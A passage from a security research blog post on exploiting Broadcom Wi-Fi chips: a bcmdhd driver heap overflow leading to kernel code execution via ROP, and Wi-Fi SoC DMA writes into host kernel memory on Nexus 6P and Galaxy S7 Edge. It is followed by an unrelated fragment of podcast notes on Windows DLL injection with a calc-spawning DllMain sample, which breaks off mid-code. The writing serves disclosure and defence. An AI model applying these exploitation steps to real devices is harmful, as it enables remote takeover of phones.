pkt\_count, thereby only partially filling in the buffer.

**  
**

<img
src='img/uXmQFJBbyQIjFOlM4OkWZijJ3890eVOVdlu02JLgybjsxRaSh8ZDcoCMpQZLu1EVFoz9qDPq8lMODHNdxQNzjEmiyBv40UE-j90t1XFYBTB716jOsq1SAuTZdMg3Rhv8BLjAuLoS.png'
width='301' height='57' alt='heap3.png' />

Finally, using the heap shaping primitive once again, we can fill the rest of
the slab with more of our “gscan” objects, bringing us to the following heap
state:

**  
**

<img
src='img/W9_5bt2L1Og_fTTHSsLgS8Pi6J86N_7HXiWQH_7LutnK5U5SK6YbqR2dmLDx6Xp5bZe3m6lsI3xil4aeQm1ejCZflaX_DWs60njECMnJRtp6U_Uwj_8CxNWZC8L_yhtMfvBfLw0N.png'
width='301' height='42' alt='heap4.png' />

**  
**

Okay… We’re getting there\! As we can see above, if we choose to use the
overflow primitive at this point, we could overwrite the contents of one of
the “gscan” objects with our own arbitrary data. However, we’ve yet to
determine exactly what kind of result that would yield…

####  Analysing The Constraints

**  
**

In order to determine the effect of overwriting a “gscan” object, let’s take a
closer look at the flow that processes a chain of “gscan” objects \(that is,
the operations performed after an event with a “completion” flag is
received\). This processing is handled by wl\_cfgvendor\_send\_hotlist\_event.
The function goes over each of the events in the list, packs the event’s data
into an SKB, and subsequently broadcasts the SKB over Netlink to any potential
listeners.

**  
**

However, the function does have a certain obstacle it needs to overcome; any
given “gscan” node may be larger than the maximal size of an SKB. Therefore,
the node would need to be split into several SKBs. To keep track of this
information, the “tot\_count” and “tot\_consumed” fields in the “gscan”
structure are utilised. The “tot\_count” field indicates the total number of
embedded scan result entries in the node’s inline array, and the
“tot\_consumed” field indicates the number of entries consumed \(transmitted\)
so far.

**  
**

As a result, the function slightly modifies the contents of the list while
processing it. Essentially, it enforces the invariant that each processed
node’s “total\_consumed” field will be modified to match its “tot\_count”
field. As for the data being transmitted and how it’s packed, we’ll skip those
details for brevity’s sake. However, it’s important to note that other than
the aforementioned side effect, the function above appears to be quite
harmless \(that is, no further primitives can be “mined” from it\). Lastly,
after all the events are packed into SKBs and transmitted to any listeners,
they can finally be reclaimed. This is achieved by simply walking over the
list, and calling “kfree” on each entry.

**  
**

Putting it all together, where does this leave us with regards to
exploitation? Assuming we choose to overwrite one of the “gscan” entries using
the overflow primitive, we can modify its “next” field \(or rather, must, as
it is the first field in the structure\) and point it at any arbitrary
address. This would cause the processing function to use this arbitrary
pointer as if it were an element in the list.

<img
src='img/15FbSNONn2CW4hzT5_OP-S5243WJ6aCrcZlSVfDmDO6jfoQ2bhw8Z8o_3u3bjqBV6Gr9oHYr1jeg5iI9Up_HAjPU2spYPLDTf8RUqku8SsSgznUH9jyWvrtz17SiSxZVKQT9z9vO.png'
width='309' height='119' alt='arbitrary_address.png' />

**  
**

Due to the invariant of the processing function - after processing the crafted
entry, its 7th byte \(“tot\_consumed”\) will be modified to match its 6th byte
\(“tot\_count”\). In addition, the pointer will then be kfree-d after
processing the chain. What’s more, recall that the processing function
iterates over the entire list of entries. This means that the first four bytes
in the crafted entry \(its “next” field\) must either point to another memory
location containing a “valid” list node \(which must then satisfy the same
constraints\), or must otherwise hold the value 0 \(NULL\), indicating that
this is the last element in the list.

**  
**

This doesn’t look easy… There’s quite a large number of constraints we need to
consider. If we willfully choose the ignore the kfree for a moment, we could
try and search for memory locations where the first four bytes are zero, and
where it would be beneficial to modify the 7th byte to match the 6th. Of
course, this is just the tip of the iceberg; we could repeatedly trigger the
same primitive in order to repeatedly copy bytes one position to the left.
Perhaps, if we were able to locate a memory address where enough zero bytes
and enough bytes of our choosing are present, we could craft a target value by
consecutively using these two primitives.

**  
**

In order to gage the feasibility of this approach, I’ve encoded the
constraints above in a small SMT instance \(using Z3\), and supplied the
actual heap data from the kernel, along with various target values and their
corresponding locations. Additionally, since the kernel’s translation table is
stored at a constant address in the kernel’s VAS and even slight modifications
to it can result in exploitable conditions, its contents \(along with
corresponding target values\) was added to the SMT instance as well. The
instance was constructed to be satisfiable if and only if any of the target
values could occupy any of the target locations within no more than ten
“steps” \(where each step is an invocation of the primitive\). Unfortunately,
the results were quite grim… It seemed like this approach just wasn’t powerful
enough.

**  
**

Moreover, while this idea might be nice in theory, it doesn’t quite work in
practice. You see, calling kfree on an arbitrary address is not without side-
effects of its own. For starters, the page containing the memory address must
be marked as either a “slab” page, or as “compound”. This only holds true \(in
general\) for pages actually used by the slab allocator. Trying to call kfree
on an address in a page that isn’t marked as such, triggers a kernel panic
\(thereby crashing the device\).

**  
**

Perhaps, instead, we can choose to ignore the other constraints and focus on
the kfree? Indeed, if we are able to consistently locate an allocation whose
data can be used for the purpose of the exploit, we could attempt to free that
memory address, and then “re-capture” it by using our heap shaping primitive.
However, this raises several additional questions. First, will we be able to
consistently locate a slab-resident address? Second, even if we were to find
such an address, surely it will be associated with a per-CPU cache, meaning
that freeing it will not necessarily allow us to reclaim it later on. Lastly,
whichever allocation we do choose to target, will have to satisfy the
constraints above - that is, the first four bytes must be zero, and the 7th
byte will be modified to match the 6th.

**  
**

However, this is where some slight trickery comes in handy\! Recall that
kmalloc holds a number of fixed-size caches. Yet what should happen when a
larger allocation is requested? In turn out that in that case, kmalloc simply
returns a number of consecutive free pages \(using \_\_get\_free\_pages\) and
returns them to the caller. This is done without any per-CPU caching. As such,
if we are able to free a large allocation, we should then be able to reclaim
it without having to consider which CPU allocated it in the first place.

**  
**

This may solve the problem of affinity, but it still doesn’t help us locate
these allocations. Unfortunately, the slab caches are allocated quite late in
the kernel’s boot process, and their contents are very “noisy”. This means
that even guessing a single address within a slab is quite difficult, even
more so for remote attackers. However, early allocations which use the large
allocation flow \(that is, which are created using \_\_get\_free\_pages\) do
consistently inhabit the same memory addresses\! This is as long as they occur
early enough during the kernel’s initialisation so that no non-deterministic
events happen concurrently.

**  
**

Combining these two facts, we can search for a large early allocation. After
tracing the large allocation path and rebooting the kernel, it seems that
there are indeed quite a few such allocations. To help navigate this large
trace, we can also compile the Linux kernel with a special GCC plugin that
outputs the size of each structure used in the kernel. Using these two traces,
we can quickly navigate the early large allocations, and try and search for a
potential match.

**  
**

After going over the list, we come across one seemingly interesting entry:

**  
**

<img src='img/sbGke3HcD37PK0k4szQPlsk_6k7UXwDEFeImDi9mc76sqMTvlZz2AKwzYtzb-
WaXGT3eDLspatPbVHyqMvXNPx1ajlq0AIGgQrxrevdQjz0awLRVTN_q1NV4hLrHi2hLvgj7c06z.png'
width='400' height='178' alt='Screenshot from 2017-03-27 16:26:30.png' />

**  
**

####  Putting It All Together

**  
**

During the bcmdhd driver’s initialisation, it calls the wiphy\_new function in
order to allocate an instance of wl\_priv. This instance is used to hold much
of the metadata related to the driver’s operation. But there’s one more sneaky
little piece of data hiding within this structure - the event handler function
pointer array used to handle incoming event frames\! Indeed, the very same
table we were discussing earlier on \(evt\_handler\), is stored within this
object. This leads us to a direct path for exploitation - simply kfree this
object, then send an SWC event frame to reclaim it, and fill it with our own
arbitrary data.

**  
**

Before we can do so, however, we’ll need to make sure that the object
satisfies the constraints mandated by the processing function. Namely, the
first four bytes must be zero, and we must be able to modify the 7th byte to
match the value of the 6th byte. While the second constraint poses no issue at
all, the first constraint turns out to be quite problematic\! As it happens,
the first four bytes are not zero, but in fact point to a block of function
pointers related to the driver. Does this mean we can’t use this object after
all?

**  
**

No - as luck would have it, we can still use one more trick\! It turns out
that when kfree-ing a large allocation, the code path for kfree doesn’t
require the passed in pointer to point to the beginning of the allocation.
Instead, it simply fetches the pages corresponding to the allocation, and
frees them instead. This means that by specifying an address located within
the structure that does match the constraints, we’ll be able to both satisfy
the requirements imposed by the processing function and free the underlying
object. Great.

<img src='img/SrM7sLe1Wp8DvMS3EmPtVvGXJ7Sj-Jje30mCzZxUcWjp6do_wCiRIhztBpjK-
kXfmLuU_l0mFWEEtZKhMGpYPqFEC8A1tYH21bOtb5eFAQ2OQgSOArq8bgP9CEMWhMpMU9xkG7kg.png'
width='359' height='156' alt='evt_handler_ptr.png' />

  

Putting this all together, we can now simply send along a SWC event frame in
order to reclaim the evt\_handler function pointer array, and populate it with
our own contents. As there is no KASLR, we can search for a stack pivot gadget
in the kernel image that will allow us to gain code execution. For the purpose
of the exploit, I’ve chosen to replace the event handler for WLC\_E\_SET\_SSID
with a stack pivot into the event frame itself \(which is stored in R2 when
the event handler is executed\). Lastly, by placing a ROP stack in a crafted
event frame of type WLC\_E\_SET\_SSID, we can now gain control over the kernel
thread’s execution, thus completing our exploit.

**  
**

<img
src='img/sGVTLkGno28DbKQsJwZCgET5gFo8CWyR5ZiltjWpyCrgq6RouKMF581MYakn6aXtBuVwqrEdhFB5-_z7auAupStIhfhdjnOUvpOyD5_cGIStmCdRnGbfkKr09nWnB95scV_AE5-g.png'
width='497' height='158' alt='rop.png' />

**  
**

You can find a sample exploit for this vulnerability here. It includes a short
ROP chain that simply calls printk. The exploit was built against a Nexus 5
with a custom kernel version. In order to modify it to work against different
kernel versions, you’ll need to fill in the appropriate symbols \(under
symbols.py\). Moreover, while the primitives are still present in 64-bit
devices, there might be additional work required in order to adjust the
exploit for those platforms.

**  
**

With that, let’s move on to the second part of the blog post\!

###  Part 2 - The “Easy” Way

####  How Low Can You Go?

**  
**

Although we’ve seen that the high-level communication protocols between the
Wi-Fi firmware and the host may be compromised, we’ve also seen how tedious it
might be to write a fully-functional exploit. Indeed, the exploit detailed
above required sufficient information about the device being targeted \(such
as symbols\). Furthermore, any mistake during the exploitation might cause the
kernel to crash; thereby rebooting the device and requiring us to start all
over again. This fact, coupled with our transient control over the Wi-Fi SoC,
makes these types of exploit chains harder to exploit reliably.

**  
**

That said, up until now we’ve only considered the high-level attack surface
exposed to the firmware. In effect, we were thinking of the Wi-Fi SoC and the
application processor as two distinct entities which are completely isolated
from one another. In reality, we know that nothing can be further from the
truth. Not only are the Wi-Fi SoC and the host physically proximate to one
another, they also share a physical communication interface.

**  
**

As we’ve seen before, Broadcom manufactures SoCs that support various
interfaces, including SDIO, USB and even PCIe. While the SDIO interface used
to be quite popular, in recent years it has fallen out of favour in mobile
devices. The main reason for the “disappearance” of SDIO is due to its limited
transfer speeds. As an example, Broadcom’s BCM4339 SoC supports SDIO 3.0, a
fairly advanced version of SDIO. Nonetheless, it is still limited to a
theoretical maximal bus speed of 104 MB/s. On the other hand, 802.11ac has a
theoretical maximal speed of 166 MB/s \- much more than SDIO can cope with.

<img src='img/XIOGLXLZhX5WKRSIBUWs6OZLy-
CWtODLEbs3nzaiunaz7xHN3ihM0koZnn3yapr_H2-PJkpuV6NluGzR6gSvYOwZP0nMIac3D2l15XO8aZC320FufToY6vTP72sWZ32EeuIuYY_B.png'
width='328' height='308' alt='pcie_sdio.png' />

BCM4339 Block Diagram

**  
**

The increased transfer rates caused PCIe to become the most prevalent
interface used to connect Wi-Fi SoCs in modern mobile devices. PCIe, unlike
PCI, is based on a point-to-point topology. Every device has it’s own serial
link connecting it to the host. Due to this design, PCIe enjoys much higher
transfer rates per lane than the equivalent rates on PCI \(since bus access
doesn’t need to be arbitrated\); PCIe 1.0 has a throughput of 250 MB/s on a
single lane \(scaling linearly with the number of lanes\).

**  
**

More concretely, let’s take a look at the adoption rate of PCIe in modern
mobile devices. Taking Nexus phones as a case study, it seems that since the
Nexus 6, all devices use a PCIe interface instead of SDIO. Much in the same
way, all iPhones since the iPhone 6 use PCIe \(whereas old iPhones used USB to
connect to the Wi-Fi SoC\). Lastly, all Samsung flagships since the Galaxy S6
use PCIe.

####  Interface Isolation

**  
**

So why is this information relevant to our pursuits? Well, PCIe is
significantly different to SDIO and USB in terms of isolation. Without going
into the internals of each of the interfaces, SDIO simply allows the serial
transfer of small command “packets” \(on the CMD pin\), potentially
accompanied by data \(on the DATA pins\). The SDIO controller then decodes the
command and responds appropriately. While SDIO may support DMA \(for example,
the host can set up a DMA engine to continually read data from the SD bus and
transfer it to memory\), this feature is not used on mobile devices, and is
not an inherent part of SDIO. Furthermore, the low-level SDIO communication on
the BCM SoC is handled by the “SDIOD” core. In order to craft special SDIO
commands, we would most likely need to gain access to this controller first.

**  
**

Likewise, USB \(up to version 3.1\) does not include support for DMA. The USB
protocol is handled by the host’s USB controller, which performs the necessary
memory access required. Of course, it might be possible to compromise the USB
controller itself, and use its interface to the memory system in order to gain
memory access. For example, on the Intel Hub Architecture, the USB controller
connects to the PCH via PCI, which is capable of DMA. But once again, this
kind of attack is rather complex, and is limited to specific architectures and
USB controllers.

**  
**

In contrast to these two interfaces, PCIe allows for DMA by design. This
allows PCIe to operate at great speeds without incurring a performance hit on
the host. Once data is transferred to the host’s memory, an interrupt is fired
to indicate that work needs to be done.

**  
**

On the transaction layer, PCIe operates by sending small bundles of data,
appropriately named “Transaction Layer Packets” \(TLPs\). Each TLP may be
routed by a network of switches, until it reaches the destined peripheral.
There, the peripheral decodes the packet and performs the requested memory
operation. The TLP’s header encodes whether this is a requested read or write
operation, and its body contains any accompanying data related to the request.

**  
**

<img
src='img/K0UYtg2aDsSZ_Llsc3LlbUd9Y4D_oWyrjyff09exfHT_M4SYXdoRSlOCE9oAmeaHwimC1BTAibMgo3xEE7vcT01jb78-2b88LcOoxNwnAqTGll2Qwl2tHJecv3spehmgkPy2hLtr.png'
width='434' height='237' alt='Screenshot from 2017-03-24 12:08:51.png' />

Structure of a Transaction Layer Packet \(TLP\)

####  IOU an MMU

**  
**

While PCIe enables DMA by design, that still doesn’t imply that any PCIe
connected peripheral should be able to freely access any memory address on the
host. Indeed, modern architectures defend themselves against DMA-capable
peripherals by including additional memory mapping units \(IOMMUs\) on the IO
buses connecting the peripherals to main memory.

**  
**

ARM specifies its own version of an IOMMU, called the “System Memory Mapping
Unit” \(SMMU\). Among other roles, the SMMU is used in order to manage the
memory view exposed to different SoC components. In short, each stream of
memory transactions is associated with a “Stream ID”. The SMMU then performs a
step called “context determination” in order to translate the Stream ID to the
corresponding memory context.

**  
**

Using the memory context, the SMMU is then able to associate the memory
operations with the the translation table containing the mappings for the
requesting device. Much like a regular ARM MMU, the translation tables are
queried in order to translate the input address \(either a virtual address or
an intermediate physical address\) to the corresponding physical address. Of
course, along the way the SMMU also ensures that the requested memory
operation is, in fact, allowed. If any of these steps fails, a fault is
generated.

**  
**

<img src='img/UiwJcy4FdZgoj1lvEcnqAJc-
yINcjKw_RsUh2XWd8SvQ1BvxnT5L7kdRtuA7tJlKbIyHIdtxpsrbvLEettzC36SJ-M04xVZMmGDTJNq8Je9zxkAqE4LA_HL3k1PWJ_DjJkwO0Z-6.png'
width='513' height='334' alt='Screenshot from 2017-03-24 12:30:28.png' />

**  
**

While this is all well and good in theory, it still doesn’t mean that an SMMU
is, in fact, used in practice. Unfortunately, mobile SoCs are proprietary, so
it would be hard to determine how and where SMMUs are actually in place. That
said, we can still glean some insight from publically available information.
For example, by going over the IOMMU bindings in the Linux Kernel, we can see
that apparently both Qualcomm and Samsung have their own proprietary
implementations of an SMMU \(\!\), with it’s own unique device-tree bindings.
However, suspiciously, it seems that the device tree entries for the Broadcom
Wi-Fi chip are missing these IOMMU bindings…

**  
**

Perhaps, instead, Broadcom’s host driver \(bcmdhd\) manually configures the
SMMUs before each peripheral memory access? In order to answer this question,
we’ll need to take a closer look at the driver’s implementation of the
communication protocol used over PCIe. Broadcom implements their own
proprietary protocol called “MSGBUF” in order to communicate with the Wi-Fi
chip over PCIe. The host’s implementation of the protocol and the code for
handling PCIe can be found under dhd\_msgbuf.c and dhd\_pcie.c, respectively.

**  
**

After going through the code, we gain a few key insights into the
communication protocol’s inner workings. First, as expected, the driver scans
the PCIe interface, accesses the PCI configuration space, and maps all the
shared resources into the host’s memory. Next, the host allocates a set of
“rings”. Each ring is backed by a DMA-coherent memory region. The MSGBUF
protocol uses four rings for data flow, and one ring for control. Each data
path \(either RX or TX\), has two corresponding rings - one to signal the
submission of a request, and another to indicate its completion. Yet, there
still doesn’t seem to be any reference to an SMMU in the driver so far.
Perhaps we have to dig deeper...

**  
**

So how does the Wi-Fi chip learn about the location of these rings? After all,
so far they’re just a bunch of physically contiguous buffers allocated in the
driver. Going over the driver’s code, it appears that the host and the chip
hold a shared structure, pciedev\_shared\_t, containing all the PCIe-related
metadata, including the location of each of the ring buffers. The host holds
its own copy of this structure, but where does the Wi-Fi SoC keep its copy?
According to the dhdpcie\_readshared function, it appears that the Wi-Fi chip
stores a pointer to this structure in the last four bytes of its RAM.

**  
**

<img src='img/Z-0311rgkVrzQJo7XqI-
VcVK1pqfR7d2LoB6FZtakMNnkf7rS3lVhXMUsl8xYrmDlk2ed1m8Ug83KMbgnAzKRBSeFV_KL6DB6vDKLI8LRe8XHyao0t7
--6n_ThSEf3qXhpOKwtUt.png' width='491' height='244' alt='rings.png' />

**  
**

Let’s go ahead and take a look at the structure’s contents. To make this
process slightly easier, I’ve written a small script that takes a firmware RAM
snapshot \(produced using dhdutil\), reads the pointer to the PCIe shared
structure from the end of RAM, and dumps out the relevant information:

**  
**

<img src='img/gvpM315Mn74H_-
bac0BazgY6_0lhvG6clkMflogKpsPOqlq4u5n2bd2hRxSIaRRmONLtZpcVR3VPvwMy82Wi80aMdtgVdXypBHsG-G6lZf_LvB8sp6o6oYl7I626c86JOYokA7jy.png'
width='345' height='343' alt='Screenshot from 2017-03-24 14:44:17.png' />

**  
**

Following the rings\_info\_ptr field, we can also dump the information about
each of the rings - including their size, current index, and physical memory
address:

**  
<img
src='img/Dk4OvmZY4mvG9RkOSubZ_fUtUvPBSAgC99ubtxIC3W3YD0jOtlaVs_4dO_ISggMSqtJAkiCbzHMHNknqV69EZFa_SBpkbI8aNlNmUqEmnA2ZAADKmqARdnmunfMjSV_hw-
lsLMhV.png' width='645' height='338' alt='rings.png' />**  

  

For starters, we can see that the memory addresses specified in these buffers
seem to be, in fact, physical memory addresses from the host’s memory. This is
slightly suspicious… In the presence of an SMMU, the chip could have used an
entirely different address range \(which would have then been translated by
the SMMU into a physical addresses\). However, merely being suspicious is not
enough... To check whether or not the an SMMU is present \(or active\), we’ll
need to set up a small experiment\!

**  
**

Recall that the MSGBUF protocol uses the aforementioned ring buffers to
indicate submission and completion of events, for both the RX and the TX
paths. In essence, during transmission of a frame, the host writes to the TX
submission ring. Once the chip transmits the frame, it writes to the TX
completion ring to indicate as such. Similarly, when a frame is received, the
firmware writes to the RX submission ring, and the host subsequently writes to
the RX completion ring upon reception of the frame.

**  
**

If so, what if we were to modify the ring address corresponding to TX
completion ring in the firmware’s PCIe metadata structure, and point it at an
arbitrary memory address? If an SMMU is in place and the chosen memory address
is not mapped-in for the Wi-Fi chip, the SMMU will generate a fault and no
modification will take place. However, if there is no SMMU in place, we should
be able to observe this modification by simple dumping the corresponding
physical memory range from the host \(for example, by using /dev/mem\). This
small experiment also allows us to avoid reverse-engineering the Wi-Fi
firmware’s implementation of the MSGBUF protocol for the time being, which
would no doubt be quite tedious.

**  
**

To make things more interesting, let’s modify the TX completion ring’s address
to point at the beginning of the Linux Kernel’s code segment \(0x80000 on the
Nexus 6P : see /proc/iomem\). After generating some Wi-Fi traffic and
inspecting the contents of physical memory, we are presented with the
following result:

**  
<img src='img/RsoZN-
dI2Qfdg-3xDh6tA8MabgK04WnYKacytdFEpX54tkz3etISng7_j0vqvDhGcLB4zhWNaR0Tv6DvGL33YRAOa8jDqWmfmwaveykyinjJh_bNdHD7hyOaLLoBznhpfZFFSuux.png'
width='804' height='285' alt='dma_tx_complt.png' />**  

  

Aha\! The Wi-Fi chip managed to DMA into the physical address range containing
the host’s kernel, without any interference\! This finally confirms our
suspicion; either there is no SMMU present, or it isn’t configured to prevent
the chip from accessing the host’s RAM.

**  
**

Not only does this kind of access not require a single vulnerability, but it
is also much more reliable to exploit. There’s no need for the exact kernel
symbols, or any other preliminary information. The Wi-Fi SoC can simply use
its DMA access to scan the physical address ranges in order to locate the
kernel. Then, it can identify the kernel’s symbol table in RAM, analyse it to
locate the any kernel function it wishes, and proceed to hijack the function
by overwriting its code \(one such example can be seen in this similar DMA-
like attack\). All in all, this style of attack is completely portable and
100% reliable -- a significant step-up from the previous exploit we saw.

**  
**

Although we could stop here, let’s make one additional small effort in order
to get slightly better control over this primitive. While we are able to DMA
into the host’s memory, we are doing so rather “blindly” at this point. We do
not control the data being written, but instead rely on the Wi-Fi firmware’s
implementation of the MSGBUF protocol to corrupt the host’s memory. By delving
slightly further, we should be able to figure out how the DMA engine on the
Wi-Fi chip works, and manually utilise it to access the host’s memory
\(instead of relying on side-effects, as shown above\).

**  
**

So where do we start? Searching for the “MSGBUF” string, we can see some
initialisation routines related to the protocol, which are part of the special
“reclaim” region \(and are therefore only used during the chip’s
initialisation\). Nevertheless, reverse-engineering these functions reveals
that they reference a set of functions in the Wi-Fi chip’s RAM. Luckily, some
of these functions’ names are present in the ROM\! Their names seem quite
relevant: “dma64\_txfast”, “dma64\_txreset” - it seems like we’re on the right
track.

**  
**

Once again, we are spared some reverse-engineering effort. Broadcom’s SoftMAC
driver, brcmsmac, contains the implementation for these exact functions.
Although we can expect some differences, the general idea should remain the
same.

**  
**

Combing through the code, it appears that for every DMA-capable source or
sink, there exists a corresponding DMA metadata structure, called “dma\_info”.
This structure contains pointers to the DMA RX and TX registers, as well as
the DMA descriptor rings into which the DMA source or destination addresses
are inserted. Additionally, each structure is assigned an 8-byte name which
can be used to identify it. What’s more, every dma\_info structure begins with
a pointer to the RAM function block containing the DMA functions - the same
block we identified earlier. Therefore, we can locate all instances of these
DMA metadata structures by simply searching for this pointer in the Wi-Fi
SoC’s RAM.

<img src='img/wWk_GaYtR6EMTbbrr6Ei6SUytKmAviC-
OZ_YCU6hf0E4rlW2MhIUElmSSe3Ijw8pTH3t_gDZjB405wwVXBM81y8DQ6z_B-
OnR8tfaiIQHPhKb0FlATtScOlTWRGXXETX6FF2r0Hs.png' width='316' height='167'
alt='dma_info (3).png' />

**  
**

Now that we know the format of these metadata structures and have a means to
locate them, we can try and search for the instance corresponding to the DMA
TX path from the Wi-Fi chip to the host.

**  
**

Unfortunately, this is easier said than done. After all, we can expect to find
multiple instances of these structures, as the Wi-Fi chip performs DMA to and
from many sources and sinks. For example, the firmware likely uses SoC-
internal DMA engines to perform access the internal RX and TX FIFOs. So how
can we identify the correct DMA descriptor?

**  
**

Recall that each descriptor has an associated “name” field. Let’s search for
all the DMA descriptors in RAM \(by searching for the DMA function block
pointer\), and output the corresponding name for each instance:

**  
**

Found dma\_info - Address: 0x00220288, Name: "wl0"

Found dma\_info - Address: 0x00220478, Name: "wl0"

Found dma\_info - Address: 0x00220A78, Name: "wl0"

Found dma\_info - Address: 0x00221078, Name: "wl0"

Found dma\_info - Address: 0x00221BF8, Name: "wl0"

Found dma\_info - Address: 0x0022360C, Name: "wl0"

Found dma\_info - Address: 0x00236268, Name: "D2H"

Found dma\_info - Address: 0x00238B7C, Name: "H2D"

**  
**

Great\! While there are a few nondescript dma\_info instances which are
probably used internally \(as suspected\), there are also two instances which
seem to correspond to host-to-device \(H2D\) and device-to-host \(D2H\) DMA
accesses. Since we’re interested in DMA-ing into the host’s memory, let’s take
a closer look at the D2H structure:

**  
**

<img
src='img/v5RRrGAoMHSpVKz1i9agmnzRPP6HM2Xrz0ZQluj634iQJ2ACy64x06aVLdwURfKNJst6nbHr5Kk6tit1UvniXeP-
_B2EeUWU90iici6mR-le-5L6nqnoj7DXK9DcT1ssMhA4ik7o.png' width='604' height='245'
alt='Screenshot from 2017-03-24 17:56:08.png' />

**  
**

Note that the RX and TX registers point to an area outside the Wi-Fi
firmware’s ROM and RAM. In fact, they point to backplane addresses
corresponding to the DMA engine’s registers. In contrast, the RX and TX
descriptor ring pointers do, indeed, point to memory locations within the
SoC’s RAM.

**  
**

By going over the DMA code in brcmsmac and the MSGBUF protocol implementation
in the host’s driver, we are able to finally piece together the details.
First, the host posts physical addresses \(corresponding to SKBs\) to the
chip, using the MSGBUF protocol. These addresses are then inserted into the
DMA descriptor rings by the firmware’s MSGBUF implementation. Once the rings
are populated, the Wi-Fi chip simply writes to the backplane registers in
order to “kick off” the DMA engine. The DMA engine will then go over the
descriptor list, and consume the descriptor at the current ring index for the
DMA access. Once a DMA descriptor is consumed, its value is set to a special
“magic” value \(0xDEADBEEF\).

**  
**

Therefore, all we need to do in order to manipulate the DMA engine into
writing into our own arbitrary physical address is to modify the DMA
descriptor ring. Since the MSGBUF protocol is constantly operating as frames
are being sent back and forth, the descriptor rings change rapidly. It would
be useful if we could “hook” one of the functions called during the DMA TX
flow, allowing us to quickly replace the current descriptors with our own
crafted values.

**  
**

As luck would have it, while the dmx64\_txfast function is located in ROM, its
prologue starts with a branch into RAM. This allows us to use our patcher from
the previous blog post in order to hook the function, and execute our own
shellcode stub. Let’s write a small stub that simply goes over the D2H DMA
descriptors, and changes every non-consumed descriptor to our own pointer. By
doing so, subsequent calls to the DMA engine should write the received frame’s
contents into the aforementioned address. After applying the patch and
generating Wi-Fi traffic, we are greeted with the following result:

**  
**

<img src='img/oqQnhm2aPks4_mhsOQxsQgG4vxZ0bcfHOGdVbLSjM9t3jwH-
kUwhUDyVDJLiRMFZRJ4irjR1bmnpERGHgexhQqDGmzsQxKg0uIHgzWs6aQ8GmOunx98JoGAUnzsqa6JeyetoSQ-P.png'
width='624' height='335' alt='dma_frame.png' />

**  
**

Ah-ha\! We managed to DMA arbitrary data into an address of our choosing.
Using this primitive, we can finally hijack any kernel function with our own
crafted data.

**  
**

Lastly - the experiment described above was performed on a Nexus 6P, which is
based on Qualcomm’s Snapdragon 810 SoC. This raises the question: perhaps
different SoCs exhibit different behaviour? To test out this theory, let’s
repeat the same experiment on a Galaxy S7 Edge, which is based on Samsung’s
Exynos 8890 SoC.

**  
**

Using a previously disclosed privilege escalation to inject code into
system\_server, we can directly issue the ioctls required to interact with the
bcmdhd driver, thus replacing the chip memory access capabilities provided by
dhdutil in the above experiment. Similarly, using a previously disclosed
kernel exploit, we are able to execute code within the kernel, allowing us to
observe changes to the kernel’s code segments.

**  
**

Putting this together, we can extract the Wi-Fi chip’s \(BCM43596\) ROM,
inspect it, and locate the DMA function as described above. Then, we can
insert the same hook; pointing any non-consumed DMA RX descriptors at the
kernel code’s physical address. After installing the hook and generating some
Wi-Fi traffic, we observe the following result:

**  
**

<img
src='img/qO6UXvOBkAM2e7V0ZIL11QpT5N3ZucHz1Rs6aUqs2KvG50FcGTHVN44fTchByjawc391WPQqIVqPyuURZZkiKWl5Ubvz-
hGZ4R0m16zrcmDgsVFTsyCLE-ExPty8fsDN1wNxvH5D.png' width='624' height='103'
alt='dma_exynos8890.png' />

**  
**

Once again we are able to DMA freely into the kernel \(bypassing RKP’s
protection along the way\)\! It seems that both Samsung’s Exynos 8890 SoC and
Qualcomm’s Snapdragon 810 either lack SMMUs or fail to utilise them.

###  Afterword

**  
**

In conclusion, we’ve seen that the the isolation between the host and the Wi-
Fi SoC can, and should, be improved. While flaws exist in the communication
protocols between the host and the chip, these can eventually be solved over
time. However, the current lack of protection against a rogue Wi-Fi chip
leaves much to be desired.

**  
**

Since mobile SoCs are proprietary, it remains unknown whether current-gen SoCs
are capable of facilitating such isolation. We hope that SoCs that do, indeed,
have the capability to enable memory protection \(for example, by means of an
SMMU\), choose to do so soon. For the SoCs that are incapable of doing so,
perhaps this research will serve as a motivator when designing next-gen
hardware.

**  
**

The current lack of isolation can also have some surprising side effects. For
example, Android contexts which are able to interact with the Wi-Fi firmware,
can leverage the Wi-Fi SoC’s DMA capability in order to directly hijack the
kernel. Therefore, these contexts should be thought of being “as privileged as
the kernel”, an assumption which I believe is not currently made by Android’s
security architecture.

**  
**

The combination of an increasingly complex firmware and Wi-Fi’s incessant
onwards march, hint that firmware bugs will probably be around for quite some
time. This hypothesis is supported by the fact that even a relatively shallow
inspection of the firmware revealed a number of bugs, all of which were
exploitable by remote attackers.

  

While memory isolation on its own will help defend against a rogue Wi-Fi SoC,
the firmware’s defenses can also be bolstered against attacks. Currently, the
firmware lacks exploit mitigations \(such as stack cookies\), and doesn’t make
full use of the existing security mechanisms \(such as the MPU\). Hopefully,
future versions are able to better defend against such attacks by implementing
modern exploit mitigations and utilising SoC security mechanisms.

Posted by  Ben at 10:03 AM

Email ThisBlogThis\!Share to TwitterShare to FacebookShare to Pinterest

  

  *[10:03 AM]: 2017-04-11T10:03:00-07:00

# Episode98 - PaulDotCom Security Weekly

**Created:**| _8/5/2009 12:39:37 PM_  
---|---  
**Updated:**| _8/5/2009 12:40:04 PM_  
**Author:**| __  
**Tags:**| _windows security pauldotcom Hacks_  
  

# Mini-Tech Segment - DLL Injection

So you've all heard Paul get hot and heavy about DLL injection but let's take
a bit more of a technical look at the details of how an injection works. DLL's
are the shared code libraries that are native to Windows \(if you didn't know
that already\). Most DLLs export functionality to allow other libraries or
executables to call functions that are contained within the DLL. However, DLLs
can be useful to an attacker or a penetration tester in that if you can get
your own DLL injected into another process, and have it's code run at the
privilege level of that process, you can effectively run code that appears to
be coming from that process. Follow me so far?

### DLL Structure

So how do we do this magic? The first step is to understand how a DLL is
structured at a high level. Below is a sample of a DLL that doesn't have any
routines but illustrates the general make up of a DLL, that when loaded by a
process \(through injection or otherwise\) it spawns the Windows calculator.

[code]

    #include <windows.h> 
    #include <stdlib.h>
    #include <stdio.h>
    #include <time.h>
    
    BOOL APIENTRY DllMain( HANDLE hModule, DWORD ul_reason_for_call, LPVOID lpReserved)
    {
            switch(ul_reason_for_call)
            {
            case DLL_PROCESS_ATTACH:
                    
                    STARTUPINFO si;
                    PROCESS_INFORMATION pi;
    
                    ZeroMemory( &si, sizeof(si) );
                    si.cb = sizeof(si);
                    ZeroMemory( &pi, sizeof(pi) );
    
       
    
                    // Start the child process. 
                   if( !CreateProcess( NULL,   // No module name (use command line)
                   "calc.exe",     // Command line
